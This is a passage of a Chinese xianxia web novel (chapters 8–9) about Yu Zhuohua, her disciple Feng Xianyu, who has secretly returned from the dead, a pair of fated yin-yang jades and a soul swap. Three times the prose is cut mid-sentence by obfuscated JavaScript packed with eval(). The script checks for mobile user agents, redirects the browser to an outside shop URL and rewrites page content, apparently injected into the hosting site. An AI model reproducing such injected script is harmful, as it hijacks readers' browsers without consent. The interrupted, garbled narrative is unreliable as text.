宁瑶伸手覆上虞濯画紧握的手,轻声道:“小师叔,百年前的事非你之过。你用玄玉留下他的一缕魂魄,我就已经很感激了。” 裴云歇是《降魔》男主,与女主宁瑶青梅竹马,两情相悦。 百年前,九州之上流传着他二人的佳话。少年夫妻,除魔卫道,守护人间。 他们本该相伴一生,可裴云歇却死在泉山覆灭那夜。 虞濯画将他的一缕神魂存入玄玉中,后被宁瑶带去沉仙海。 相传,这世上有一对阴阳双鱼玉,可逆转阴阳,置换有情之人的寿命。 宁瑶为寻阴阳玉,与徐迟和孟易之游历人间百年,踏遍九州四海。 “你信我,”虞濯画目光定定地看向她,“我一定会帮你找到,救活裴师兄的办法。” 虞濯画攻略封弦玉,本就是为了改变宁瑶和裴云歇因封印血魔而灵脉断裂的结局。 可到头来,她杀了封弦玉,却没能救下裴云歇。 “我自是相信的。” 宁瑶掩下心绪,话锋一转,眼底浮起几分好奇:“今晨回山后,我便听闻你收了个徒弟,不带我见见这位小师弟吗?” 虞濯画有些心虚地抿了口茶:“方才,他就在落仙峰上。” 宁瑶蹙眉:“小师弟住在落仙峰?我只顾着同你说话,倒是未曾留意。” “他……今日已搬到青雪峰了。” 宁瑶眼睛一亮,拽着她欲走:“那快让我看看。” 虞濯画未动,面露难色。 “师姐!小师叔!大事不好了!” 孟易之喘着粗气跑过来,扶着石案站稳,也顾不得礼数,一连灌了三杯茶水,才缓过来。 宁瑶一脸嫌弃地看他:“跑这么急,你冤家还能追上泉山不成?” “比冤家还可怕!”孟易之眉头紧锁,压低声音,“昨夜我同落仙峰上的几位师弟打叶子牌,当时我就觉得他们其中一人十分眼熟,可惜没想起来。” “不过现在我记起来了,你们猜猜,他是谁?” 宁瑶挑眉:“少卖关子。” “你们一定猜不出来!”孟易之一掌拍在石桌上,震得茶盏叮当响,“那人和封弦玉长得一模一样!而且是小师祖新收的徒弟!” 听到这个名字,宁瑶的脸色瞬间沉了下来,眼底笑意尽褪,像是被人当头浇了一盆冷水。 她死死攥紧茶杯,玉盏隐隐发出令人牙酸的碎裂声响。 虞濯画张了张嘴,却不知如何开口。 这天底下哪有长得一模一样的人,不过是故人归来罢了。 孟易之毫无察觉,又灌了杯茶,问道:“对了,咱们泉山何时多了位小师祖?” 宁瑶苦笑一声,目光落在石桌上,声音发涩:“这就是师叔,不愿带我见这位小师弟的原因吗?” 虞濯画沉默片刻,终是开口:“瑶瑶,我也不清楚封弦玉为什么复生了。” 她斟酌字句,缓声解释:“他隐藏身份,化名常业,阴差阳错成了我的徒弟。” 孟易之后知后觉地瞪大眼睛,半晌才反应过来:“你徒弟是封弦玉?” 宁瑶没有理会他,她松开茶盏,那只青玉茶杯瞬间碎成齑粉。 “当年,师父初任二长老之职,因公事滞留山下,这才带着我与小孟逃过一劫。”她抬起眼,眼尾泛红,“云歇因他而死,游掌门因他而死。若那时,我们也在泉山……” 她没有说下去。 但在场三人比谁都清楚,当初留在泉山的数千弟子,除了虞濯画,再无生还者。 虞濯画从来都不敢深想。这个念头像一把悬在心口的刀,轻轻一碰就割得生疼。 “我不会再让这样的事发生。”她只能一遍遍保证,“若他再生恶念,我必亲手杀之。” 像是说给宁瑶听,也像是说给自己听。 沉默如潮水般漫上来,淹没了林间所有的声响。花瓣还在落,一片接一片,无声无息。 许久,宁瑶才缓缓点头:“我信你。也请师叔放心,只要他安分守己,我待他便会像寻常师弟一样。” 虞濯画应声:“好。” 孟易之托腮闷想片刻,忽然说:“曾经的怨侣,如今成了师徒。” 他双眼一亮,从乾坤袋中取出一本小册子,“所以这话本写的都是真的?” 宁瑶问:“什么话本?” 虞濯画顺着她的目光看去。 手掌大的黄封小书,首页上赫然标注着几个大字:《泉山眷侣录》第二卷。 她眼皮猛得一跳。 不等孟易之翻开,净火便窜出来将这话本烧了个干净。 火舌舔过纸页,转眼只剩一捧灰烬。 虞濯画面不改色,义正言辞:“泉山不允许出现这样的东西。” 孟易之一脸惋惜:“暴殄天物啊!” 他痛心疾首地转过头:“我还以为这是他们胡编乱造的故事,没想到是有实事的!还有,小师叔你怎么就成了师祖呢?这辈分直接飞升了!” 虞濯画白他一眼:“这本就是胡编乱造!” “行行行,不看就不看。”孟易之从凳子上蹿起来,摆摆手,“我去练剑了。” 虞濯画捂着脸叹气。 宁瑶在一旁看着,心思转了几转。 封弦玉与他们有生死大仇是真,但他也确确实实死过一次。念及昔日与他有过数载同窗情谊,她决定先不对这人赶尽杀绝。 宁瑶凑过来,眼里藏着几分促狭:“小师叔,你们曾经也是结过契约的道侣,如今,是怎样相处的?” 虞濯画:“?” “我原以为,你会帮我考虑,如何阻止他报当年一剑之仇。” 宁瑶正了正神色:“可在天下人眼中,封弦玉已经死了。如今,常业是你的徒弟,至少面子功夫得做足。” 她追问:“所以,你们是如何相处的?他对你——” 虞濯画推开她:“正如你所说,不过是表面功夫。况且,我只是通过样貌断定他是封弦玉,至于他有没有百年前的记忆,又是如何死而复生的,我一概不知。” 当然,确认身份还有系统的功劳。 “这还不简单?”宁瑶眼珠一转,“我有办法。” 她附在虞濯画耳边,低声私语。 听罢,虞濯画连忙摇头:“不可。” “就听我的,”宁瑶笃定,“一试便知他有没有百年前的记忆。” 虞濯画半信半疑,终是没再说什么。 “对了,这阴阳玉还是你收着吧。” 宁瑶递出阴阳玉,那是两条相对的白玉鱼,首尾相衔,合成一个浑圆的玉环。 “阴阳玉只对有缘者起效,我并非它认定的有缘人。” 虞濯画顺手接过,指尖触到玉面的瞬间,一丝凉意沁入掌心:“可我也不是它的有缘……” 话音未落,她手里的阴阳双鱼玉忽然发出幽幽灵光,光华流转。 宁瑶又惊又喜:“它在我手中从未有过反应。” 虞濯画微微蹙眉。 下一刻,那玉佩忽然动了。阳玉从玉环中分离,像一尾真正的鱼,往一个方向飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宁瑶站在窗外,目瞪口呆,半天说不出一句话。 怎么会这样? 阳玉飞来找封弦玉,阴玉又将虞濯画带了过去。 难不成,这双鱼玉认定他们是对有情人? 不对。 她的小师叔怎会还对封弦玉有情? 不对。 莫非是这封弦玉贼心不死,还惦记着她的小师叔?可他有百年前的记忆吗? 不对不对。 封弦玉血洗虞濯画师门,虞濯画亲手杀了封弦玉。若有记忆,那他二人便是仇上加仇,怎么可能互相有情? 宁瑶僵在原地,脚下仿佛千斤重,一步也抬不起来。 虞濯画彻底懵了,完全想不起来反应。耳边只剩下清晰如擂鼓的心跳声,一声比一声重,分不清是他的还是自己的。 封弦玉哑声唤她:“师尊。” 听着头顶传来的声音,虞濯画浑身一僵,猛地回神。她手脚并用从他身上爬起来,动作太急,险些又摔回去。 虞濯画头皮一阵发麻,抬手去指罪魁祸首:“这玉粘着我的手——” 话音出口,她才发现,阴玉不知何时已经从她掌心脱落,与封弦玉手中那枚阳玉紧紧相吸,仿佛从未分开过。 封弦玉双手撑着地,束发的素色发带不知何时散了,松垮垮地绕在发间。 几缕墨发散下来,顺着肩颈垂落,衬着那张清润的脸,竟有几分别样的美感。 意识到自己在想什么,虞濯画迅速别过脸去,一边往外走,一边施法关上了门窗。 她踏出门框,见宁瑶还一动不动站在原地,便伸手拉她:“快走。” 宁瑶愣怔着跟在她身后,走出好几步,忽然低声笑了起来。那笑声起初还压着,后来越来越大,笑得肩膀都在抖。 “阴阳玉不要了?”她问。 虞濯画加快脚步:“别让我再看见它。” “看见什么?”宁瑶追上来,歪头看她,眼里全是促狭,“是阴阳玉,还是封弦玉?” 虞濯画头也不回,拎起裙子就往峰口跑,衣袂带风,转眼已甩出十几丈远。 被她关上的那扇窗还在吱呀吱呀地晃着,扇动着桌边的纸张,一下一下,像心跳的余韵。 打翻的砚台跌落在地,墨汁晕开,松烟墨的气息充斥着整间屋子,清冽,又带着丝丝苦涩。 封弦玉站起身,垂眸看着手里的双鱼玉。 书室阴隅处,少年的唇角缓缓弯起一个浅略弧度,几乎察觉不到。 他始终低着头,仿佛极怕被人窥见他的心思。 8. 阴阳第三 静心峰。 虞濯画自青雪峰出来后,便一头钻进藏书阁中。 阁中光线并不清晰,一排排书架如林静立,空气中浮动着旧纸与墨香混杂的气息。她沿着窄廊走到最深处,指尖在书脊上一一划过,带起细微的灰尘。 “小师叔,”宁瑶站在另一侧书柜之上,踮着脚从高处抽出一卷竹简,扬了扬手,“我找到了。” 虞濯画快步走过去,接过那卷沉甸甸的竹简。封面上《九州珍物志》几个篆字已有些模糊,边缘已磨损发白。 宁瑶翻到记载阴阳玉的一卷,指腹滑过字迹。 “双鱼玉阴阳相吸,九丈之内,寸步相随。”她抬起头,“难怪你会被那玉石吸过去。” 虞濯画拿过竹册,就着窗隙透进来的光,一目十行地扫下去。目光最终落在一处小字上,墨色已淡,笔迹却清晰。 “阴玉择主,阳玉宿缘。” 宁瑶凑过来看了一眼,若有所思:“也就是说,阴玉认你为主,阳玉便认与你有缘之人为主。” 虞濯画扬手,竹简脱手飞出,稳稳落回原处。 “那我不要了,”她摇头,认真的看着宁瑶,“瑶瑶,你还是拿回去吧。” 宁瑶双手抱起,转身就往门外走:“那不行。都说是宿缘,我岂能毁了这缘分?” 虞濯画跟上她,并肩走在廊下:“你是在何处寻到的?莫不是让人给骗了?” “素州有位玉衣仙,她曾救过我性命。”宁瑶放缓了脚步,声音里多了几分郑重,“阴阳玉便是她助我寻到的,不会有假。” “原来如此。”虞濯画眉眼弯起,“这百年,你受苦了。” 宁瑶伸了个懒腰,日光落在她脸上,将那些风霜痕迹都照得模糊,“师叔常说,玉不琢不成器,你曾夸我是块璞玉,我怎会让师叔失望?” 虞濯画抬眼,望向前山:“说起来,也该去见见你师父了。” 孟易之与宁瑶先后回山,其师徐迟在引川滞留半日,料理后事,这才姗姗归宗。 “好,我与师叔同去。” 虞濯画正要下台阶,掌心忽然泛起一阵灼烧感。她蹙眉摊开手心,半块阴玉凭空出现在掌中,玉身滚烫,灵光流转。 她心下一沉,转头去牵宁瑶,声音里带了几分懊恼:“完了。” 书楼正对着一株百年兰花树,白花繁茂如雪,虬枝盘旋,在地上投下纵横交错的影子。 树下站着一人。 素色长衫,墨发竖起,身姿清拔如松,与满树白花相衬。 宁瑶将手背在身后,朝树下抬了抬下巴。 下一刻,虞濯画双脚悬空,整个人被一股不可抗拒的力道拽了过去。 有了前车之鉴,这次倒不至于狼狈。她另一手迅速施法,稳住身形,最终落在封弦玉身前半步,衣袂堪堪擦过他袖口。 封弦玉俯身行礼:“师尊。” 虞濯画面色如常:“你怎么在这里?” “归还此玉。”他摊开手掌,阳玉静静躺在掌心,玉光温润。 宁瑶站在不远处,声音隔着花影传来:“不必。阴阳玉已认你为主。” 封弦玉垂眸看着掌中那半块玉,神色似有几分意外:“这便是阴阳玉?” 是宁瑶为救裴云歇,寻了百年的阴阳玉。 他眼中似有什么一闪而过,晦暗不明,很快便敛了下去。 虞濯画耳畔风过,一道传音落入识海,是温孤年的声音,简洁而急促—— “速来前山。” 看来是鱼儿上钩了,她唇角勾起:“我还有事,你们聊。” 虞濯画看了一眼手里的阴玉。九丈之内相随,那出了九丈的距离,便不会有效。想及此,她才将阴玉收入乾坤袋中,径自而去。 封弦玉抬眼相望,那目光追着她的背影,很轻,像一片落花飘过水面,还没来得及看清,就已沉了下去。 “常师弟。” 宁瑶的声音将他拉回。她靠着树干,双手抱臂,眼底带着几分审视的意味。 “听闻你是此次新入门的弟子中,天资最好的。”她挑了挑眉,“不如与我过两招?” 封弦玉微微垂眸,声线平缓:“不敢当。” 宁瑶不在多言,伸手虚握。树上兰花受她灵力所控,花瓣纷纷扬扬飘落,须臾间便凝出一柄长剑的模样。剑身通透,花脉清晰可见,隐隐透着锋锐之气。 宁瑶修行醒春之道,掌控生机,草木皆兵。 她出招极快,全然不给封弦玉反应时间。剑尖轻颤,直指眼前之人肩头。剑风清劲却不伤人,分寸拿捏得恰到好处,看起来确实是切磋该有的样子。 封弦玉不慌不忙,唤出剑来格挡。利刃未出,只有剑鞘撞上那兰花灵剑时,发出的清越鸣响。 “师弟,这是何意?”宁瑶眼神一转,剑势未收,语气却带了几分揶揄,“难不成,是怕我向师叔告状吗?” 封弦玉没有答话。 他手腕一转,剑刃斜挑而出,如秋水乍泄,直逼少女腕间。动作干净利落,没有半分拖泥带水。 宁瑶足尖点地,身形翩然后撤,避开锋芒的同时,长剑旋出半弧,反削封弦玉身侧。 寒光交叠,快得只剩残影。几息之间,两人已拆了十余招。 宁瑶忽然收剑,退开半步,目光落在他身上,语气不辨喜怒:“常师弟的剑法,很像我们的一位故人。” 封弦玉已随之收剑,立在她对面,神色平静:“多谢师姐指点。” 宁瑶一怔:“我何时指点你了?” 他淡声解释,声音不徐不疾:“这套归一剑法第二式,我始终无法突破。师姐方才那一剑,恰好点悟其中关窍。” 宁瑶哑然。 细想一番,他方才用的剑招,起承转合之间,确有万灵宗归一剑法在内。 她笑了笑,转身走了。 百年前,封弦玉的剑法,一招一式都是虞濯画教出来的。他们几人同窗数载,曾一同行走九州四海,月下习剑亦是常事,自然互相熟悉彼此的剑术。 原本,宁瑶想着能试探他一番,却没想到这人三言两语便将她的试探化解于无形。 不过也好。宁瑶走上石阶,日光在肩头碎成一片金。 如此一来,倒让她对自己接下来的计划,多了几分把握。 她瞥了一眼身后,封弦玉还静静站在原地,姿态恭逊。 * 虞濯画推开明正殿的门时,殿内已坐了两人。 她只瞥了一眼背影,便认出温孤年身旁那人是谁。笑意攀上眉梢,她跨过门槛,声音清亮地唤了一声:“师兄。” 徐迟闻声抬头。 他面容刚毅,棱角分明,眼角几道细纹不显沧桑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374856|200043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,反倒添了几分经年历练的沉稳。周身气度厚重,像一座静默的山,不言不语时也让人不敢轻慢。 “小师妹。”他放下茶盏,唇边漾开笑意,“别来无恙。” 虞濯画走过去,在他对面落座,动作随意:“这么多年未见,师兄还真是一如既往年轻。” 她拖长了尾音,语气里带着几分促狭。 徐迟不接她的玩笑,一本正经道:“凡人寿数不过百载,修为精进一层,才可多得数百年华。” 虞濯画摆摆手,提起茶壶给他二人添了茶,水流潺潺,茶香漫开:“所以,师兄和师侄,还不尽快修至归天境?” 徐迟与温孤年听罢皆笑。闲谈几句后,几人便收了笑,说起正事。 温孤年眉目不展,指尖轻轻叩着桌面:“今日掌刑长老前去废武京墨修为,发现寒牢中只余无相术的虚影,人早已不见了。” “昨夜才宣判,今日便劫狱,他背后之人的消息可真快。”虞濯画指腹摩挲着杯沿,目光清亮,“除了无方宗,怕是没人能在这么短的时间内,神不知鬼不觉地将人救走。” 温孤年点头:“昨夜见他施展的无相术,绝非一朝一夕能练成,怕是早已与无方宗私下有往来。” 在虞濯画来之前,徐迟已听温孤年提过此事,对前因后果也大致了解。他道:“能想出用人质作饵这招的,我一听便知是你。” 虞濯画弯唇一笑,没有否认。 “不过,”徐迟话锋一转,目光落在她脸上,带着几分审视,也带着几分关切,“无方宗敢来救人,便是已做好与万灵宗暗斗到底的打算。你又当如何应对?” 虞濯画放下茶杯,指尖轻轻一点桌面:“自然是,顺水推舟,如君所愿。” 温孤年细想片刻,眉间舒展几分:“你是想,当作不知道这件事?” 虞濯画点头:“暂且压下劫狱之事,将那虚影好生看管。后日便是行刑之期,务必让所有人都知道,武京墨已伏诛,死在雷火之下。” 徐迟连连点头,眼中露出赞许之色:“如此一来,武京墨在外人眼中便是死尸一具。那真正的武京墨行事必然受阻,更容易露出马脚。” 虞濯画捏起茶杯,与他二人轻轻一碰,发出一声脆响。她眉眼弯弯,笑意里藏着几分狡黠:“无方宗貌合神离,让他们内部争斗去,咱们好坐收渔翁之利。” 徐迟笑着摇了摇头,目光里映着茶汤的暖色,语气里带着几分追忆的怅然:“你与你师父当年,还真是一模一样。” 桌上摆着温玉煮茶炉,符火跳跃,氤氲出淡淡白雾。 黄昏不觉已至。 虞濯画离开前山时,殿外灵禽掠空,残阳铺洒,将连绵云海染作鎏金。 * 残星碎月渐渐浮现,最后的天光在青雪峰山峦边缘消散。 虞濯画踏入桃林,便听见了剑锋破空的声音。 很轻,几乎都要化进风里。 这青雪峰上,除了她,便只有今日搬来的封弦玉了。 虞濯画侧耳听了片刻,绕过横斜的花枝看过去。 少年一袭白衣,立于树下,身形清瘦,握剑的力道却稳。 桃花纷纷扬扬,落在他的肩上。 剑锋割开暮色,带起的花瓣贴在剑脊上,他轻轻一振,花瓣便飞旋而起,在空中打了几个转,重又落入满地落英中。 9. 阴阳第四 虞濯画绕开花树,缓步走过去。 封弦玉闻声收剑,剑锋自上而下划过半圆,徐徐落至身侧。满树花枝在这一瞬间飘落数朵,安静地坠向地面。 看着他,虞濯画有片刻恍惚。 他收剑入鞘:“师尊。” 虞濯画微微点头,将那一瞬的失神压了下去:“我已向掌门提及沧澜地之事。你当真要和我同去?” 她顿了顿,“此事非宗门任务,一旦遇险,不会有人支援。” “嗯。” “好。”虞濯画从他身侧走过,边走边道,“明日,我带你去宝库寻件趁手的法器。今夜早些歇息。” 她回了房间。 今夜星稀,月隐云后,更显静谧。 虞濯画躺在廊下,身前悬着把蒲扇,在灵力的牵动下缓缓扇风。夜风裹着桃花的残香,有一阵没一阵地拂过来。 沉寂几日的系统忽然开口,带着一丝不寻常的凝重:【宿主,吞月塔快要苏醒了。】 “吞月塔?” 虞濯画正想着,忽然之间,识海一阵剧痛。 像是有什么东西在识海深处撕扯,尖锐的刺痛从眉心蔓延至四肢百骸。竹椅晃了晃,她整个人从上面跌下来,跪坐在地。 【宿主,你还好吗?】 虞濯画掐诀抑制,指尖轻颤,灵力凝了又散,却是毫无用处。她眼眶湿润,强忍着痛苦,将眼泪憋了回去。 系统寄存于她识海之中,见虞濯画这副模样,罕见地有些无措。 她不是不能忍痛的人。 泉山覆灭后,她从吞月塔中爬出来,浑身上下几乎没有一块好肉。即便是这样,也没吭过一声。 这还是第一次,有这样的反应。 虞濯画扶着桌案欲起,却是双眼一黑,整个人晕了过去。 蒲扇啪嗒一声落在她身旁。 与此同时,桃林之中。 封弦玉站在自己的识海里,心口忽然抽痛,似有所感。 往日平静无澜的水面,此刻波涛汹涌,浪头一个接一个拍上来。 水面上悬着的那把黑色长剑,剑身上浮现裂痕,黑色碎片正一块块掉落,隐约可见其内剑刃。 “无命。” 他眸色阴沉,抬手施法。 从掌心出现的力量并非寻常灵力,而是一股朱玄交织的光芒。那光芒浑浊沉重,仿佛被血色浸透。 黑剑躁动不安,竟开始口吐人言:“你不会,真把自己当成人了?” “你有什么资格活在世上?” “倒不如让我取代你。” 封弦玉不为所动。 又一股血魔之力灌入,剑身的震颤渐渐平息,裂痕不再蔓延。 翻涌的水面缓缓沉寂,最终恢复如初。 封弦玉出了识海,便往虞濯画的庭院赶来。 虞濯画晕倒在地,裙摆铺开,她双目紧闭,面色苍白,额角的碎发被汗打湿,贴在鬓边。 封弦玉脸上罕见地出现慌张。他握起虞濯画的手腕,温润灵力缓缓渗入,沿着她的经脉游走。 “冒犯了。” 他轻轻抱起虞濯画,手臂稳而小心,仿佛在捧着一件稀世珍宝。回房时走的很快,步伐却稳。直到将她放回床榻上,仔细盖好被衾,他才松了口气。 识海相通,一旦那柄剑躁动,虞濯画便会和他一样遭受反噬。思虑片刻,封弦玉并指抚上她的眉心,将这羁绊斩断。 他半跪在榻边,低头看着她。 灯火昏黄,将他的影子投在墙上,一动不动。他伸出手,指尖悬在她鬓边,却并未落下,只是掖了掖被角。 然后他轻声开口,说了句什么。 很轻,很淡。 虞濯画不会听见,但系统听见了。 他说:“画画。” 系统:【……】 找到他有记忆的证据了。 未经宿主允许擅自偷听,不是一个合格的系统会做的事。 它本不想听见。 除了必要时刻,它都静静待在虞濯画识海里面,保持休眠状态。方才虞濯画晕倒,它才被迫唤醒了全部感知,此刻想关都关不掉。 系统不仅目睹了一切,而且,它看见封弦玉的好感度在那一瞬间,回到了零。 从原本的负一百零一,变为零。 随后又很快恢复负一百零一。 只有一瞬间。 系统沉默,默默进入休眠。它觉得自己要自我检查一遍,看看是不是哪里出现了故障。 周遭静得出奇。 封弦玉守在榻边,听见虞濯画平稳的呼吸声后,他才掩下眸中神色,走出房去。 * 子时。 封弦玉从虞濯画的身体里睁开眼,而虞濯画还在昏睡。 窗外传来轻轻地敲击声,在寂静的夜里格外清晰。 “小师叔,你睡了吗?” 是宁瑶。 封弦玉轻应一声:“没睡。” 声音压得很低,带着一丝沙哑。不是虞濯画惯常的语气,但夜深人静,隔着窗棂听得并不真切。 “师叔,我的计划已开始。” 封弦玉没有接话。 宁瑶继续说:“我已将你前道侣回来了这则消息宣扬出去了。” 封弦玉的手指攥紧了膝上的被衾。 前道侣。 这百年间,她喜欢过别人。那个人,现在回来了。 “我倒要看看,”宁瑶的声音隔着窗棂传来,“那位前道侣会不会先按耐不住,自己露出马脚。” 封弦玉沉默片刻,才轻“嗯”一声。 宁瑶并未察觉异样,语气轻快起来:“师叔早些歇息,明日等好消息。” 脚步声渐渐远去。 封弦玉坐在原地,许久未动。 前道侣三个字,轻飘飘落在心上,却带着真切的钝痛。 他低下头,将脸埋进掌心。 又枯坐一夜。 天将亮时,虞濯画才苏醒。 意识渐渐回笼,她翻身坐起,愣了一瞬才反应过来,她在封弦玉的房间里。 她抚上后颈,这床也太硬了吧,睡得人浑身难受。 虞濯画想起,昨夜她是被识海的剧痛疼晕了,那不是来自于她,而是封弦玉。可此时,他们识海间的羁绊已不在了。 她蹙了蹙眉,朝外走去。 天光惨淡,青雪峰上笼着雾气。 她快步往自己庭院走,推开门,封弦玉正坐在窗边。 他用着虞濯画的身体,长发半披,没有束起。微光从窗外漏进来,落在脸上,将这具身体的肤色照得更白了些。 听见脚步声,封弦玉抬起头。 “师尊,你醒了。” 虞濯画看着他:“昨夜,怎么回事?” “是我识海反噬,牵连了师尊。”他声音平静,“我已将其斩断,往后便不会再痛。” 未结道侣契者,互通识海后受到反噬的原因有很多,虞濯画并未细想,只当是普通反噬。 他忽然开口:“师尊昨日说,要带我去宝库寻件法器,不知还作不作数。” 拜师这么久,这还是封弦玉第一次主动开口。不过,她一没教他什么,二没给他什么,讨件法器也是情理之中。 “作数。”她说,“现在就去。” 刚要出门,虞濯画便想起,那宝库的门只有掌门令能打开。她转身:“掌门令在乾坤袋中。” * 宝库在静心峰后山,藏在一面瀑布之后。水帘如幕,终年不绝,将入口遮得严严实实。 两人一前一后,一路安静无言。 虞濯画从封弦玉手中接过掌门令牌,置于门前,石门轻响一声,缓缓开启。 储室极大,分门别类陈列着格式法器。刀枪剑戟、弓弩玉炉,琳琅满目,在两颗夜明珠的光晕下泛着各色灵光。 虞濯画走在前面,目光扫过各式各样的法器,她伸手从架上抽出一柄长剑,转身递过去:“这把剑不错,轻巧锋利,适合你用。” 封弦玉接过,指腹滑过剑鞘上的纹路:“师尊挑的都好。” 虞濯画又拿起一面护心镜:“这个也拿着。” “嗯。” “还有这个。” 她指尖虚勾,高处的匣子便落入怀中。低头打开,里面是一枚玉佩,灵气内敛,温润生光。 “这个也好。” 封弦玉接过来,握在掌心:“多谢师尊。” 她又挑了几件,递到封弦玉手中。他抱了满怀,面上始终淡淡的,没什么表情。 “你不喜欢这些?”虞濯画停下来问他。 “喜欢。”封弦玉说,“师尊挑的,我都喜欢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不太像强迫,倒像是挽留。 “师尊。” 他的声音落下,比寻常低了几分,像弦乐的低音一般,沉沉地压在她心上。 虞濯画不动了。 “既然早有这样一天,为何要答应收我为徒?” 换做常人,他一定会主动离开青雪峰。可此刻,他面对的是自己。 封弦玉低头,睫毛在脸颊上投下一小片阴影,声音更轻了:“如今又有了换魂术,每夜都要打扰师尊休息。如果,师尊的道侣……” 虞濯画欲言又止,心口泛起异样感。 她太了解封弦玉了,若换做旁人,他一定会主动离开青雪峰,根本不会在这里试探口风。 之所以在意,是因为他记得百年前的所有事,还误以为,她后来喜欢过别人。 虞濯画一个字也说不出口。 她清醒地记得,当初拂生剑刺透他身体时,溅出的鲜血。 刺眼,滚烫。 谁会喜欢一个杀死自己的人。 封弦玉慢慢低头,慢到虞濯画有足够的时间可以躲开。 可她没有躲,仿佛被定在原地。 他靠近了一寸,又一寸。 夜明珠的光被他挡在身后,她眼里全是他的影子。她甚至能闻到,封弦玉身上的气息,与那被衾上的味道一样。 “师尊。” 封弦玉又唤了一声,他的呼吸落在虞濯画的额发上,温热的,带着一点颤抖。 虞濯画的心跳变得很响。 他的鼻尖快要碰到她的额头。 再近一寸—— 虞濯画猛地伸手,推在他胸口。 封弦玉被她推开半步,退到光线里。 虞濯画看清了他的脸。 他低着头,沉默许久才开口,声音沙哑得几乎听不清:“弟子冒犯了,请师尊责罚。” 虞濯画的掌心还残留着触碰他胸膛时,感受到的心跳。她将手缩进袖子里,攥成拳。 “没有道侣。” 封弦玉倏然抬起头,却见虞濯画已打开宝库的门,快步走了出去。 门在身后关上,将他二人隔开。 虞濯画靠在石门上,缓缓闭上了眼。 水声未止,掩盖住一切声响。